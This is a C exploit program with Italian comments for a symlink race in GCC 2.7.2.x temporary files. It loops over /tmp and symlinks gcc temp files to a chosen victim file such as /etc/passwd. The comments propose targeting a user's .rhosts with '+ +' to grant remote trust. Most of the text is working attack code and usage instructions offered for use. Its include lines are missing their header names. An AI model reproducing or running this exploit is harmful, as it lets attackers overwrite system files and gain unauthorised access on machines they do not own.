/* GCC 2.7.2.x exploit Crea un link su un file temporaneo di gcc con destinazione -> victim_file Il programma aspetta dei file tmp di gcc... e poi fa il link. Uso: ./a.out /etc/passwd & Spero che questa roba che ho scritto funga... il prog funziona cosi': una volta eseguito per restare in background... cerca nella directory /tmp dei file temporanei di gcc e grazie ad un bug (in pratica questi file temporanei seguono il link simbolico) potete far vostro un file che non lo e'... Questo programma potrebbe essere scritto in modo piu' proficuo per esempio leggendo attraverso una struttura di tipo "stat" l'uid del file temporaneo e facendo quindi un link su .rhosts della home dell'utente con quell'id e poi scrivendoci sopra un "+ +". Sinceramente anche se e' abbastanza facile farlo non ho coglioni di scrivere una cosa del genere visto che attualmente lavoro con una versione del gcc gia' patchata :) Questo programma puo' essere ottimizzato per esempio per essere reso piu' veloce e per far si'che dopo un ciclo non vada a rifare i link su link gia' creati prima... Purtroppo capisco perche' Michal Zalewsky non abbia scritto una versione in C di tale exploit... fare uno script bash di questo tipo non richiede praticamente niente rispetto al programma... Anch'io come pigrizia non scherzo... im sorry :) pIGpEN */ #include #include #include #include #include #include #define EXPLOIT_NAME "gcc 2.7.2.X exploit" #define ERROR -1 #define GCC_FILE "caa" /* questa costante potrebbe causare problemi a file su /tmp che cominciano per caa... ma sinceramente oggi sono troppo scazzato per cercare una soluzione a tutti i problemi della vita :) */ main(int argc, char *argv[]) { FILE *fp; struct dirent **filelist; char cmd[100]; int c_ret; if(argc!=2) { system("clear"); printf("%s \nWritten by pIGpEN/s0ftpj\n",EXPLOIT_NAME); printf("Exploit by Michal Zalewsky\n"); printf("Usage: %s victim_file\n",argv[0]); exit(ERROR); } if((fp=fopen(argv[1],"r"))==NULL) // va bene anche l'access() con mode F_OK { printf("Victim File Not Found\n"); exit(ERROR); } else fclose(fp); setpriority(PRIO_PGRP,0,20); for(;;) { c_ret = scandir("/tmp", &filelist, 0, alphasort); while(c_ret--) { if(strstr(filelist[c_ret]->d_name,GCC_FILE)!=NULL) { sprintf(cmd,"ln -sf %s /tmp/%s",argv[1],filelist[c_ret]->d_name); system(cmd); } } } }